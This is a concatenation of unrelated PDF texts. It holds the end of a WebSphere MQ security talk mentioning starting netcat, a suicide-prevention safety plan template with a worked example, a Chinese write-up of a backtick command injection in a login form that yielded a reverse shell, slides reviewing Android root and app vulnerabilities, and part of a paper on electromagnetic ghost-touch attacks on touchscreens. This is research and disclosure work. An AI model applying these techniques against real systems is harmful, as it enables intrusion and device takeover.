• Examine a box for MQ Services
• Work out the SSL support on a default channel
• Recover some information using the Command Server
• Execute commands to start netcat running
50
Recommendations
51
Technical Recommendations
•
Protect the default and admin channels and restrict the
permissions on the others.
•
Never rely on the MCAUSER parameter for security
•
Always use security exits on channels and make sure you
have the code audited.
•
Don’t have the command server turned on if you don’t
need it
•
Don’t use Channel Auto Definition
52
Technical Recommendations – Part 2
•
Use an appropriate strength of SSL on all channels
•
Remove all non-required CAs from the Key Repository
•
Be specific with the User Filtering strings
•
Clear the initiation queue before starting a trigger monitor
•
Trigger monitor accounts should use lowest privileges
53
High Level Recommendations – Part 1
Middleware security is just as important as the
front-end application and the back-end database
• Test Middleware properly
• Don’t rely on “vulnerability scans”
Follow best practice and use all the security features
• Use access control
• Use encryption
• Apply all security fixes
54
High Level Recommendations – Part 2
Ensure security testing is thorough
• Make sure pen testers know about the application
• The entire environment needs testing
Each environment needs securing
• Development shouldn’t impact on Live
• Understand the security of remote queues
• Each component of a cluster must be secured
55
So are we safe now ?
Maybe not! There is still lots more work to be done
• Clustered Environments need more research
• Always more fuzzing to be done
• MQ on iSeries and z/OS
• Tivoli is recommended for administration
• How does Sun MQ compare
56
Summary
• If you don’t get the basics right you will get burnt
and by default MQ is not secure.
• New vulnerabilities can expose the security of any
installation.
• Using multiple layers of defence will always help
to lower the risk.
57
Websphere MQ Information Centre
http://publib.boulder.ibm.com/infocenter/wmqv6/v6r0/index.jsp
IBM Redbooks
http://www.redbooks.ibm.com/abstracts/sg247128.html
IBM Downloads
http://www-128.ibm.com/developerworks/downloads/ws/wmq/
References and Further Reading
58
QFlex product
http://www.netflexity.com/qflex/index.shtml
MQ PERL Modules
http://search.cpan.org/dist/MQSeries/
MWR InfoSecurity White Paper (Available Soon)
http://www.mwrinfosecurity.com
Contact Me
[email protected]
References and Further Reading – Part 2
59
Questions ? | pdf |
Personal Safety Plan
USE THIS PLAN WHEN I’M FEELING
1. ______________________________________________
2. ______________________________________________
3. ______________________________________________
4. ______________________________________________
5. ______________________________________________
Warning Signs
INTERNAL: Thoughts, mental imagery, moods, situations, behaviors that let me know a crisis
may be developing:
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
EXTERNAL: Places, events, people, time of day/year, songs, themes, items, etc. that correlate
with these internal signs:
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
Possible Activities
Enjoyable actions to distract, relax, and refocus without contacting someone:
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
People and social settings that provide distraction:
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
_____________________________ _____________________________
Action Plan
1. Take a deep breath
2. Ask for suicidal thoughts to be removed from my brain
3. HALT (hungry | angry | lonely | tired)
4. Take 5 more deep, slow breaths & zone in to the present
5. Identify my current feelings
6. Practice “feelings vs. facts”
7. Write down feelings for later review
8. “Do in spite of how I feel”
9. Choose an activity
10. See who’s online / call someone
___________________________ __________________
___________________________ __________________
___________________________ __________________
11. 5 minutes of meditation
12. Choose a task and practice doing it in the present
13. Call emergency contact
Therapist
___________________________ __________________
Psych Center
___________________________ __________________
Hotline
___________________________ __________________
14. Put down weapons and keep both hands on the phone
Making the Environment Safe
1. _____________________________________________________________
2. _____________________________________________________________
One thing that is most important to me and worth living for is:
______________________________________________________________
Personal Safety Plan - EXAMPLE
USE THIS PLAN WHEN I’M FEELING
1. _Overwhelmed
2. _Angry
3. _Helpless
4. _Confused
5. _Lonely
Warning Signs
INTERNAL: Thoughts, mental imagery, moods, situations, behaviors that let me know a crisis
may be developing:
_Brain stuck on my breakup
_Comparing my life to my friends’
_Replaying conversations in my head
_Angry at people on my “I trust” list
_Thinking about my sister
_”Nothing will ever change.”
_”You’ll never be good enough!”
_Slept less than 6 hours last night
EXTERNAL: Places, events, people, time of day/year, songs, themes, items, etc. that correlate
with these internal signs:
_Have to go to a family dinner
_Beach weather________________
_Friday night without plans
_Quarterly performance reviews
_Too sad to fulfill an obligation I made
_My birthday
_Social media infoleak about Panchal
_Anniversary of my dad’s death
Possible Activities
Enjoyable actions to distract, relax, and refocus without contacting someone:
_Play SWTOR
_Go out to the café and read
_Walk around the city
_Organize something
_Work on my blog
_Make a to-do list, review GTD
_Play with Avid Pro Tools
_Go to the gym
People and social settings that provide distraction:
_Hackerspace
_Gym
_TRX class (invite David)
_Karaoke (invite Brian & Tanya)
_Apple store downtown
_Coffee (invite someone online)
_Volunteer at the animal shelter
_COD Multiplayer
Action Plan
1. Take a deep breath
2. Ask for suicidal thoughts to be removed from my brain
3. HALT (hungry | angry | lonely | tired)
4. Take 5 more deep, slow breaths & zone in to the present
5. Identify my current feelings
6. Practice “feelings vs. facts”
7. Write down feelings for later review
8. “Do in spite of how I feel”
9. Choose an activity
10. See who’s online / call someone
Jeff
212.555.1234
Mark
212.555.1234
Julie
212.555.1234
11. 5 minutes of meditation
12. Choose a task and practice doing it in the present
13. Call emergency contact
Therapist
Dr. Greene
212.555.1234
Psych Center
Front Desk
212.555.1234
National Hotline
800.273.8255 (TALK)
14. Put down weapons and keep both hands on the phone
Making the Environment Safe
1. _Pull out scheduled meds for tonight, put the rest on ice, leave them!
2. _Disconnect from social media when I’m obsessively refreshing
3. _Turn on the lights, put on playlist of calming songs, remove clutter
One thing that is most important to me and worth living for is:
_TODAY: Hiking alone in the woods on a perfect morning
_ SOMEDAY: Hiking in the woods on a perfect morning with someone
_ who loves me | pdf |
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
欢迎关注公众号:赛博回忆录
抓包看看
闭合 username
进行赛勃 fuzz,发现用反引号执行`命令`可导致返回包执行相关命令
赛博成功反弹 shell。
发现网上存在补丁塞博版本,以及无补丁版本,以上均为补丁情况下,现在分析无补丁的。
无补丁的使用单引号’ -V ’返回以下结果,执行了 grep -V
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
有补丁的使用单引号’ -V ’则返回以下结果
以下为执行 grep 处的 sh 源码
关键执行命令语句
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
赛博回忆录星球出品,仅供小范围技术交流,请勿拿去随意攻击
以下为未补丁后的登录 login.js 源码
以下为补丁后的 login.js 登录 sb 源码
更新补丁后对单引号进行过滤,但代码未对反引号``进行过滤,从而导致命令执行的情况发
生。修复治标不治本。 | pdf |
Android平台
安全漏洞回顾
肖梓航(Claud Xiao)
HITCON 2013
关于演讲者
• 肖梓航(Claud Xiao)
<[email protected]>
• 安天实验室 高级研究员
• 方向:Android和Windows的反病毒、软
件安全
• 看雪、乌云、Insight Labs等社区和组织
的成员,xKungFoo、MDCC、ISF等会
议的讲师
• http://blog.claudxiao.net
• http://wiki.secmobi.com
关于议题
• Android的内核、系统、框架、应用软件
频繁出现安全漏洞……
Android相关漏洞不完整数据
来源:http://android.scap.org.cn 2013.07.01
Android漏洞不完整数据
来源:http://www.cvedetails.com/product/19997/Google-Android.html 2013.07.01
Android软件漏洞不完整数据
来源:Claud Xiao统计,不代表乌云观点。2013.07.01
Jiang@NCSU、Luo@PolyU HK、Fahl@Leibniz University of Hannover
等团队在最近两年也发现了大量Android软件漏洞
关于议题
• Android的内核、系统、框架、应用软件
出现了许多安全漏洞……
• 回顾这些漏洞,介绍30个经典的案例和4
个demo,分析产生问题的原因
• 希望成为进一步工作的基础:漏洞挖掘、
漏洞攻击、漏洞检测、安全开发、补丁
分发、系统加固、攻击缓解……
系统的权限提升漏洞
通用提权漏洞及其利用代码
•
CVE-2009-1185 Exploid
•
CVE-2011-1823
Gingerbreak
•
CVE-2012-0056
Mempodroid
•
CVE-2009-2692 Wunderbar
•
CVE-2011-3874 ZergRush
•
Zimperlich / Zygote setuid
•
CVE-2012-6422
Exynosrageagainstthecage
/adb setuidCVE-2011-1149
psneuterLevitatorASHMEM
•
……
案例1:利用adb backup提权
• Android 4.0.4 ICS备份功能与
Settings.apk一些缺陷结合的提权漏洞
• 可以获得Google Glass的root权限!
• LG公司OEM的备份功能也出现类似问
题,导致40多款手机可以root
设备特有的提权漏洞
• 许多厂商的设备中出现
独有的提权漏洞:
• Samsung
• Motorola
• LG
• ZTE
• Huawei
• Sony
产生漏洞的原因包括:
•重要系统目录或文件的权
限配置不当
•自己添加的系统服务以过
高的权限运行
•定制的硬件驱动存在各类
编码漏洞
•写入文件没有考虑符号链
接
•
案例2:ZTE提权“后门”
• CVE-2012-2949 ZTE ZXDSL 831IIV7提
权漏洞
• magic code: sync_agent ztex1609523
http://www.symantec.com/connect/blogs/zte-score-privilege-escalation-nutshell
更底层的问题
• bootloader
• CPU/TrustZone
• 使用Qualcomm
MSM8960芯片的
Motorola bootloader
• 使用 Snapdragon芯片
的Samsung Galaxy
S4
• ……
• 向Dan Rosenberg致
敬
Linux Kernel 1-day
• CVE-2012-0056 Linux的/proc/pid/mem
文件被写入导致本地权限提升漏洞
• CVE-2013-2094 Linux性能计数器界限
检查不当导致本地权限提升漏洞
• CVE-2013-1773 Linux内核VFAT文件系
统实现缓冲区溢出导致本地权限提升漏
洞
• 还有许多,比如……
案例3:FirefoxOS提权
• ZTE Open,第一台普通FirefoxOS手
机, 2013.07.02发售
• 三天之后被root:
http://pof.eslack.org/2013/07/05/zte-
open-firefoxos-phone-root-and-first-
impressions/
• 高通芯片Android驱动的已知提权漏洞及
其利用
•
CVE-2012-4220 (Qualcomm DIAG root)
•
FirefoxOS复用了Android的驱动和NDK
demo 1
• Nexus 4/Android 4.2.2本地root权限获取
漏洞
•
清华大学NISL实验室发现,并授权播放本视频
•
不提供具体的漏洞编号和可用的提权代码,但上下文
信息已经足够重新找到它
系统和框架层的其他漏洞
系统使用的第三方代码经常
出现问题
• WebView
• bionic
• Flash Player
有的可以远程利用
• 案例4:CVE-2010-1807 Android
2.0/2.1 Webkit Use-After-Free Remote
•
http://www.exploit-db.com/exploits/15548/
• 案例5:USSD远程擦除漏洞
• 案例6:CrowdStrike @ RSAC 2012 &
Black Hat US 2012
•
利用未公开的WebView漏洞,在Android 2.2和
Android 4.0.1上获得设备的remote root shell
有些系统功能安全策略不当
• 案例7:部分应用的密码明文存储
•
特别地:预装的Email和Browser
• 案例8:用户数据备份功能(adb backup)
• 案例9:WebView的缓存机制
• 将它们结合起来利用……
demo 2
• adb backup + 密码明文存储/缓存
demo 3
• adb backup + WebView cache + OAuth
login
系统特性也会导致应用软件
的安全问题
• 锁屏功能的实现
• activity劫持
预装软件的漏洞影响很广
• 案例10:SMS Spoofing
• 案例11:HTC手机信息泄露
• 案例12:Samsung Galaxy S2 - S4的大
量问题
最近Bluebox发布的漏洞消息
• 案例13:修改APK代码而不影响原始签
名
•
ZIP格式中,可以拥有两个相同文件名的central
directory records
•
不同模块对同名文件的解析方法不同,因此会使用不
同的data块
• 案例14:AndroidManifest.xml cheating
•
类似地,对Android’s binary XML格式的解析模型和方
法不同
题外话:补丁分发修复
• Duo Security:一半以上的手机存在未修
复的系统漏洞(Sep 2012)
• 与Windows相比,Android的系统补丁分
发存在大量流程困难和技术性问题
•
refer: An Android Hacker's Journey, CanSecWest
2013
应用软件的漏洞
数据存储问题
• 将社交信息、配置数据等存储在SD卡上
•
第三方软件可以读写
• 将密码、cookies、session id等直接存
储在/data/data下
•
获得root权限后可以读写 -> 提权漏洞
• 内部文件属性为others可读写
• native代码创建文件的默认属性不当
案例15:外部存储
图片来自:乌云
案例16:内部存储
图片来自:viaForensics
案例17:文件属性
图片来自:Zach Lanier
数据传输问题
• 个人数据和密码等通过HTTP明文传输
•
网络监听,数据泄露
•
中间人攻击,数据篡改
•
attack vector: open wifi, weak encrypted wifi, wifi
phishing ...
•
本地root后dump网络数据包
案例18:明文传输
• ClientLogin:Google软件登陆协议
SSL通信的问题
• 没有使用证书锁定certification pinning
•
私有证书,忽略证书错误
•
CA证书,不验证hostname
•
CA证书,不锁定证书(不符合最小特权)
•
attack vector: SSL MITM
•
对CA本身的攻击事件
案例19:未使用证书锁定
•
S. Fahl, M. Harbach, T.
Muders, M. Smith, L.
Baumgärtner, and B.
Freisleben, “Why eve and
mallory love android: an
analysis of android SSL
(in)security,” presented at the
CCS '12: Proceedings of the
2012 ACM conference on
Computer and
communications security,
2012.
图片来自:S. Fahl etc
数据和代码验证问题
• 本地存储和网络传输的配置数据被篡改
• 本地存储和网络传输的代码被篡改
•
用于动态加载执行的DEX、JAR、ELF文件
• 文件格式被构造异常
• 用户输入数据的有效性
案例20:代码动态加载
案例21:数据不可信
图片来自:乌云
图片来自:乌云
服务器端问题
• SQL注入
• XSS进入后台
• OAuth协议使用不当
案例22:SQL注入
图片来自:乌云
案例23:后台系统XSS
图片来自:乌云
认证协议的问题
• 可伪造的凭据
• 基于短信的注册、密码/mTANs发送
• 将编码作为加密
• 弱哈希算法
• 弱密码方案
案例24:可伪造凭据
案例25:短信发送密码
案例26:可逆算法
案例27:弱密码方案
• Google Wallet
组件间通信的问题
• activity, service, receiver之间通过intent
显式或隐式调用,provider提供数据存储
• 组件暴露:被第三方调用,获得额外能
力或读取数据
• intent被拦截或监听:DoS、钓鱼、读取
数据
• provider暴露:读取数据,或写入控制数
据
案例28:组件暴露获得额外
能力
案例29:provider暴露
旁路数据泄露
• 多余的logcat代码
• 各种缓存(webview, 键盘……)
案例30:logcat泄露数据
图片来自:乌云
利用漏洞的几个案例
提权的恶意代码
• 非常多……
Smishing
• 2012年11月2日,Xuxian Jiang公布短信
构造漏洞
• 2012年11月3日,Thomas Cannon公布
PoC代码
• 2012年11月11日,发现利用该漏洞的家
族新变种
图片来自:金山
Obada
• 利用系统管理器的枚举漏洞隐藏自身并
防止卸载
图片来自:Kaspersky
安全工具
• Android平台超多的安
全渗透软件可以用于从
网络上针对漏洞和缺陷
发起攻击
USB Cleaver
• 下载并释放autorun.inf和大量exe文件到
SD卡
• 获取PC中缓存的Firefox、IE、Chrome
密码和WiFi密码
结语
下一步工作?
• 漏洞挖掘:Mercury, academic works
• 漏洞攻击
• 漏洞检测:Mercury, Belarc
• 安全开发:OWASP, viaForensics
• 补丁分发
• 系统加固:SEAndroid
• 攻击缓解
end & thanks
• Claud Xiao <[email protected]> | pdf |
Invisible Finger: Practical Electromagnetic
Interference Attack on Touchscreen-based
Electronic Devices
Haoqi Shan∗§, Boyi Zhang∗§, Zihao Zhan∗, Dean Sullivan†, Shuo Wang∗, Yier Jin∗
∗University of Florida
{haoqi.shan, zby0070, zhan.zihao}@ufl.edu, {shuo.wang, yier.jin}@ece.ufl.edu
†University of New Hampshire
{dean.sullivan}@unh.edu
AbstractÐTouchscreen-based electronic devices such as smart
phones and smart tablets are widely used in our daily life. While
the security of electronic devices have been heavily investigated
recently, the resilience of touchscreens against various attacks has
yet to be thoroughly investigated. In this paper, for the first time,
we show that touchscreen-based electronic devices are vulnerable
to intentional electromagnetic interference (IEMI) attacks in a
systematic way and how to conduct this attack in a practical
way. Our contribution lies in not just demonstrating the attack,
but also analyzing and quantifying the underlying mechanism
allowing the novel IEMI attack on touchscreens in detail. We
show how to calculate both the minimum amount of electric
field and signal frequency required to induce touchscreen ghost
touches. We further analyze our IEMI attack on real touchscreens
with different magnitudes, frequencies, duration, and multitouch
patterns. The mechanism of controlling the touchscreen-enabled
electronic devices with IEMI signals is also elaborated. We
design and evaluate an out-of-sight touchscreen locator and
touch injection feedback mechanism to assist a practical IEMI
attack. Our attack works directly on the touchscreen circuit
regardless of the touchscreen scanning mechanism or operating
system. Our attack can inject short-tap, long-press, and omni-
directional gestures on touchscreens from a distance larger than
the average thickness of common tabletops. Compared with the
state-of-the-art touchscreen attack, ours can accurately inject
different types of touch events without the need for sensing
signal synchronization, which makes our attack more robust and
practical. In addition, rather than showing a simple proof-of-
concept attack, we present and demonstrate the first ready-to-
use IEMI based touchscreen attack vector with end-to-end attack
scenarios.
I. INTRODUCTION
Consumer electronic devices with touchscreens, such as
smartphones, tablets, and laptops, have become integral parts
of our daily lives because touchscreen technology is both
convenient and intuitive to use. In practice, touchscreens
recognize a touch event by sensing the electric field of the
electrodes under the screen, thereby allowing people to give
commands by performing touch, swipe, and other gestures.
The commands are then converted to electric signals and help
control the systems/apps in the target device. For vehicles
§These two authors contribute equally to the work.
or medical devices incorporating touchscreens, their correct
functionality is tied to user safety.
Among all touchscreen sensing technologies, the capacitive
touchscreen is the most popular because it provides a more
pleasant user experience and is cost effective. A typical
capacitive sensing touchscreen is shown in Fig. 1. There is
an array of electrodes under the cover lens of the touchscreen
with an adhesive layer between the electrodes that provides
mechanical support as well as insulation. The back panel
provides insulation between the electrodes and the liquid
crystal display (LCD) screen. The electrodes, adhesive, and
back panel are made with optically transparent material. The
cover lens is usually made of glass and protects the electrode
and the circuit [1]. When the touchscreen is on, a driver circuit
delivers a voltage between the two layers of electrodes. The
electric field between the two layers of electrodes is constantly
sensed. When a person makes contact with the touchscreen,
the electric field between the electrode layers are disturbed by
their impedance. Touch events are recognized by sensing this
disturbance in the electric field.
Capacitive sensing touchscreens have already been targeted
by several attacks, however, the majority of touchscreen at-
tacks are passive attacks, e.g., inferring keystrokes [2], [3],
[4], [5], [6], revealing the content on the touchscreen [7],
[8], [9], etc. Compared to passive touchscreen attacks, active
attacks [10], [11] that manipulate the touchscreen content
and/or events are rare, uncontrolled, and typically require the
support of a human touch.
In this paper, we present an active touchscreen attack
requiring no physical contact using radiated intentional elec-
tromagnetic interference (IEMI). It is the first radiated IEMI
touchscreen attack capable of stably recreating complex multi-
touch and omni-directonal swipe gestures. Recent work [12]
presents a synchronization-based IEMI touchscreen injection
attack and demonstrates several practical attack scenarios.
However, because of their reliance on synchronization their
range of injected touch events is significantly limited. We
also find, see Section VIII-B and Appendix A, that both
the implementation of synchronization and scanning vary by
device making the attack difficult to generalize. On the other
Fig. 1: A typical capacitance touchscreen structure.
hand, our attack does not rely on synchronization or the
implementation details of scanning to inject stable short-tap,
long-press, and omni-directional swipe touch events. This is
due in part because we specifically tie the working theory of
capacitive touchscreen technology to radiated IEMI electric
field strength and signal frequency to precisely and reliably
control injected touch events. This in depth analysis allows
fully understanding the characteristics of the IEMI disturbance
interpreted by the touchscreen as a human touch.
The main contributions of the paper are listed as follows.
• We present the underlying mechanism of IEMI based
attacks on modern capacitive touchscreens.
• The principle of IEMI touchscreen attacks is disclosed
both theoretically and empirically. Crucial factors that
influence the effectiveness, including the magnitude, fre-
quency, phase, and duration are elaborated.
• We present an IEMI touchscreen attack capable of inject-
ing both accurate and complex touch events and gestures
such as short-tap, long-press, and omni-directional swipes
mimicking a human touch. 1.
• We demonstrate practical IEMI touchscreen attacks by
designing and implementing an antenna array, screen
locator, and injection detector to bridge the gap between
simple touch event generation and real-world IEMI attack
scenarios. We show and evaluate several practical attacks
using multiple commercial devices under different attack
scenarios.
II. BACKGROUND
In this section, we review background knowledge on the
sensing strategy of capacitive touchscreens with a simplified
touchscreen model.
A. Capacitive Touchscreens
There are two types of capacitive touchscreens which are
widely used [13], self-capacitance touchscreens and mutual
capacitance touchscreens, shown in Fig. 2a and Fig. 2b re-
spectively. The ∆C represents the capacitance change in the
presence of a human finger. When ∆C is sensed, a touch event
is recognized [14].
The self-capacitance touchscreen has a disadvantage be-
cause it cannot recognize diagonal touches. In consumer elec-
tronics, the ability to sense multi-touch events is beneficial. In
1Readers can find recorded attack videos by visiting https://invisiblefinger.
click/.
(a)
(b)
Fig. 2: Electrode sensors in capacitance touchscreens: (a) self-capacitance
screen; (b) mutual capacitance screen.
contrast, the mutual capacitance touchscreen can sense several
simultaneous touches [13]. Therefore, the mutual capacitance
touchscreen is more popular in consumer electronics [15].
In this paper, we mainly discuss the mutual capacitance
touchscreen although our attack method can also be applied
to the self-capacitance touchscreen without loss of generality.
B. Mutual Capacitance Touchscreen
CM
∆C
microprocessor
excitation signal
ADC
QT sensor
Tx
Rx
Electrodes
CDC Chip
Fig. 3: A typical structure of a mutual capacitance touchscreen sensing system.
A typical structure of a mutual capacitance touch screen
system is shown in Fig. 3. The system consists of transmitter
(Tx) and receiver (Rx) electrodes as well as a capacitance to
digital converter (CDC) chip. In the CDC chip, the capacitance
between the electrodes is measured with a charge transfer (QT)
sensor. The circuit topology of a QT sensor with an integrator
is shown in Fig. 4. The QT sensor converts the measured
capacitance to an analog voltage signal that is then converted
to a digital signal by an analog to digital converter (ADC). A
microprocessor will read in and process the converted digital
signal.
Fig. 4: Typical charge transfer circuit topology.
During normal operation, the microprocessor controls three
switches, S1, S2, and S3 (see Fig. 4). Fig. 5 gives an example
of how the control signals are switched periodically. When
the switch S1 is closed, S3 resets Cs and the excitation signal
Vin charges the mutual capacitance CM. During this charging
period, the switches S2 and S3 are open and the voltage Vc
across CM is calculated as follows.
Vc = Vin ·
1 − e−
1
RinCM t
(1)
After CM is charged, S1 is opened and S2 is closed. The
charge stored in CM will be transferred to Cs. Assuming an
ideal op-amp, the current flow through CM and Cs are equal.
The current can be calculated in (2) or (3).
Ic = −CM
dVc
dt
(2)
Ic = −Cs
dVo
dt
(3)
By solving and integrating (2) and (3) simultaneously over the
time with initial conditions, the output voltage Vo is derived
in (4).
Vo = −CM
Cs
Vc
(4)
Based on (4), the mutual capacitance CM can be calculated
from Vo. When the sensing period is completed, at the begin-
ning of the next period, Cs is discharged by closing S3.
When a touch event occurs, CM is changed by ∆C due to
the presence of a human finger. This change can be either
positive or negative [16] depending on human impedance
variations [17]. The output voltage can be calculated as follows
when the touch event occurs.
VoT = −(CM ± ∆C)
Cs
Vc = Vo + VT
(5)
where VT is the output voltage variation and is calculated as
follows.
VT = ±∆C
Cs
Vc
(6)
A touch event is recognized if the following criterion is met.
|VT | ≥ Vth
(7)
where Vth is the threshold voltage.
The sensing strategy in Fig. 5 senses and compares the
output voltage to every cycle’s threshold voltage. In many
applications, a multi-cycle sensing strategy is usually used to
get a more accurate result for each touch event by measuring
Vo and VT multiple times. In a multi-cycle sensing strategy,
Cs is reset every N cycles. In this way, Vo and VT are the sum
of the voltages in N cycles. The touch recognition criterion
in (7) in this case is as follows.
|
VT | ≥ VthN
(8)
where VthN is the threshold voltage defined for the N cycle
sensing strategy. If the voltage variations in these cycles are
the same, then we have VT = N · VT .
Based on (1) - (8), the ∆C between every pair of electrodes
can be measured by QT sensors. The locations of the elec-
trodes represent the touchable locations on the touchscreen.
0
0.5
1
S1
charging
period
0
0.5
1
S2
sensing
period
1.5
2
2.5
3
3.5
4
4.5
0
0.5
1
S3
reset
Fig. 5: Control signals of the switches S1, S2, and S3.
III. THREAT MODEL
In this paper, we assume that the attacker is equipped
with tools that can generate IEMI signals including electrode
plates, a signal generator and an RF power amplifier. The
electrode plates are used to radiate IEMI signals and can be
hidden under a table or desk (check our experimental setup
in Section IX for more details). We further assume that the
victim’s device is equipped with a capacitive touchscreen.
We do not require the victim to have a certain brand of
touchscreen device, nor do we have any limitations on the
operating system. We aim to mimic a real world setting in
which a victim puts their smart device on the table under
which the electrode plates are attached. We assume the victim
puts the smart device face down on the table, a typical way
to prevent screen eavesdropping. The attack does not need to
have prior knowledge of the phone location or orientation.
The attacker can use the electrode plates to generate a precise
touch event on the screen and further manipulate the victim
device to perform security oriented attacks, such as connecting
to Apple headphones to remotely control the victim device, or
installing malicious applications.
IV. IEMI ATTACK PRELIMINARIES
In this section, we will present the fundamental electro-
magnetic concepts and derive the corresponding circuit model
of the touchscreen under the IEMI attack. The concept and
the model here pave the way to systematically analyze the
behavior of a touchscreen under IEMI attacks.
A. IEMI Attack Intuition
From Section II, we learned that a touch event is sensed if
the output voltage variation, VT , is larger than the threshold
voltage, Vth. Therefore, a ghost touch event can be induced
when a radiated IEMI signal causes Vo to exceed the threshold
voltage, which allows attackers to control the device without
physically touching the screen.
B. Generating a Targeted Radiated IEMI Signal
There are multiple ways to generate the radiated IEMI
signal. A simple and straightforward method is to generate
an electric field using two electrode plates that are facing
each other. It is also possible to generate the electric field
with phased antenna arrays where the direction of the IEMI is
controlled by the array factor. The third method is to leverage
directional antennas, such as Log-periodic antennas or Yagi-
Uda [18] antennas.
Based on our attacking principle analysis later in this paper,
electrodes (near-field antenna) are more suitable for existing
smart touchscreen enabled electronic devices, therefore, our
work focuses on an electrode-based IEMI attack and we will
show that only one electrode is enough to perform an attack.
For convenience, we simply call an electrode (a near-field
antenna) as an antenna in later analysis.
C. Effect of Radiated IEMI on a Touchscreen
Fig. 6 depicts the electric field (referred to as E field
hereafter) interference due to an external E field on a touch-
screen, and its effect on the equivalent QT sensor circuit.
The presence of an external E field induces a displacement
current that flows through and adds or removes charge from
the mutual capacitance touchscreen electrodes. Note that Vo of
the QT sensor depends on the total charge stored in the mutual
capacitance CM. Thus, the measured output voltage variation
VT is controlled by the targeted E field and can induce ghost
touches.
(a)
(b)
Fig. 6: Illustration of the E field interference: (a) E field on touchscreen
electrodes and (b) equivalent circuit of QT Sensor.
D. Relationship of IEMI E Field Strength and Touchscreen
Attack
To introduce a touch event with an IEMI attack, the E
field strength needs to meet certain requirements. The E field
interference on a touchscreen is shown in Fig. 6a. The critical
E field that is required to cause a ghost touch is defined as
Ecrit and can be calculated as follows. The detailed derivation
process can be found in Appendix C.
We assume VT n is the output voltage variation caused by
the IEMI noise. To generate the ghost touch, we need to fulfill
the following requirement, i.e.,
|VT n| ≥ |VT | = ∆C
Cs
Vc = Qt
Cs
(9)
where Qt = ∆C·Vc, representing the charge change caused by
the real touch. Solving (C-13), (C-15) and (9) simultaneously,
Ecrit =
Qt
ε0 · εr · A
(10)
Based on (10), if EZ is larger than Ecrit, a ghost touch is
successfully generated.
Simulation Validation of Touchscreen Response to Radi-
ated IEMI: Fig. 7a and 7b show the simulated Vo of a single
QT sensor under a finger touch and IEMI attack based on the
developed model, respectively. For this simulation, switches
S1-S3 are controlled with 100kHz signals as shown in Fig. 5.
All simulation parameters are listed in Table I. The touch event
is simulated using a positive 0.5 pF capacitance change. The
IEMI signal is simulated using a noise voltage source Vn at
the input of the QT sensor. Vth is set to 2.75 V. To cause a
ghost touch, Vn should meet the requirement in 11.
Vn ≥ Vin · ∆C
CM
(11)
(a)
(b)
Fig. 7: Simulated output voltage of a QT sensor: (a) output voltage with
a finger touch and (b) output voltage under IEMI with the critical E field
strength.
As shown in Fig. 7a, Vo changes when there is a finger touch
due to the change in capacitance. Once Vo exceeds Vth, a touch
event is recognized. Under the simulated IEMI attack (shown
in Fig. 7b), Vo exceeds Vth even when there is no touch. This
validates our QT sensor model analysis, and motivates our
subsequent experiments for generating ghost touch events in
real scenarios.
TABLE I: QT Sensor Simulation Parameters
Parameter
Value
Parameter
Value
Vin
5 V
CM
3 pF
Rin
1 Ω
Cs
10 pF
Rs
1 Ω
∆C
0.5 pF
Vth
2.75 V
Vn
0.8V/100kHz
E. Relationship of IEMI Frequencies and a Successful Attack
From Section IV-D, we know that the E field strength will,
in part, decide the IEMI attack effectiveness. Nevertheless, as
shown in previous work [19], the frequency of the interfering
signal also plays a critical role. Therefore, we conduct the
following analysis to first reveal the relationship of IEMI
frequencies and a successful IEMI attack. Fig. 6b shows the
voltage source Vn which is the input voltage of the QT sensor
due to the IEMI attack. Based on the superposition theory,
we can derive the equivalent circuit of a QT sensor under an
IEMI attack where only the noise source Vn is considered
(see Fig. 8a). Rs is ignored since it is much smaller than the
impedance of CM.
(a)
(b)
Fig. 8: (a) Equivalent circuit of a QT sensor in a touchsreen controller and
(b) S2 control signal and In waveforms.
The mathematical calculation of the minimum IEMI interfer-
ence that can cause a ghost touch event is thoroughly explained
in Appendix B. The calculation gives us the lower boundary of
IEMI attacks. In real attacks, we would like to maximize the
IEMI interference. A similar calculation process also applies.
The maximum interference can be achieved if one of the
following two conditions is met.
• Condition 1: The phase angle is φ0 = 3π
2 and the frequency
of the IEMI signal satisfies (B-9) and (12) simultaneously.
fE = fsw
4Ds
+ kfsw
Ds
k = 0, 1, 2, 3, . . .
(12)
• Condition 2: The phase angle is φ0 = π
2 and the frequency
of the IEMI signal satisfies (B-9) and (13) simultaneously.
fE = 3f sw
4Ds
+ kfsw
Ds
k = 0, 1, 2, 3, . . .
(13)
As we will show in Section V-D, by conducting several
experiments with a Chromebook equipped with a touchscreen
diagnostic data collection program, we confirm our developed
theory by identifying various frequencies at which ghost
touches are caused at the required minimum E field. The
impact of φ0 is minimized by finding the worst case in
multiple measurements at each frequency.
V. PROOF-OF-CONCEPT EVALUATION
In Section IV, we developed a theory for IEMI ghost touch
attacks and validated it using simulations. In this section,
we will demonstrate the IEMI attack using a relatively ideal
experiment setup by targeting a laptop with electrode plates
placed directly on both sides of the laptop touchscreen. With
this setup, we generate real experimental results to validate
our previous analysis, e.g., the required E field and needed
frequencies for effective IEMI attack signals.
A. Experimental Setup
As a proof-of-concept, we generate radiated IEMI using
electrode plates placed on opposite sides of our target de-
vice. A signal generator (RIGOL DS 1052E) and an RF
power amplifier (Amplifier Research 25A250A) are used to
generate the desired voltage. The output of the RF amplifier
is monitored by an oscilloscope (RIGOL MSO4054). The
touchscreen of a Chromebook laptop is used as the target. This
laptop is installed with Touch Firmware Tests [20] developed
by the Chromium Project. This program records all of the
touched positions recognized by the touchscreen controller
during the test. The recorded data is collected by an external
device over Wi-Fi. A test report is also generated that lists all
touched locations during the testing period. During the test,
the Chromebook is disconnected from the adapter and placed
on a non-conductive surface 70 cm above the ground to avoid
undesired EMI noise.
B. IEMI Generation
The E field parameters are selected based on our calcula-
tions in Section IV-E. Fig. 9 shows the placement of the two
electrode plates. Plate 1 is an 8 mm x 8 mm copper plate
taped on the front of the touchscreen. Plate 2 is a 150 mm x
150 mm copper plate taped on the back of the touchscreen.
The distances d between each plate and the touchscreen are
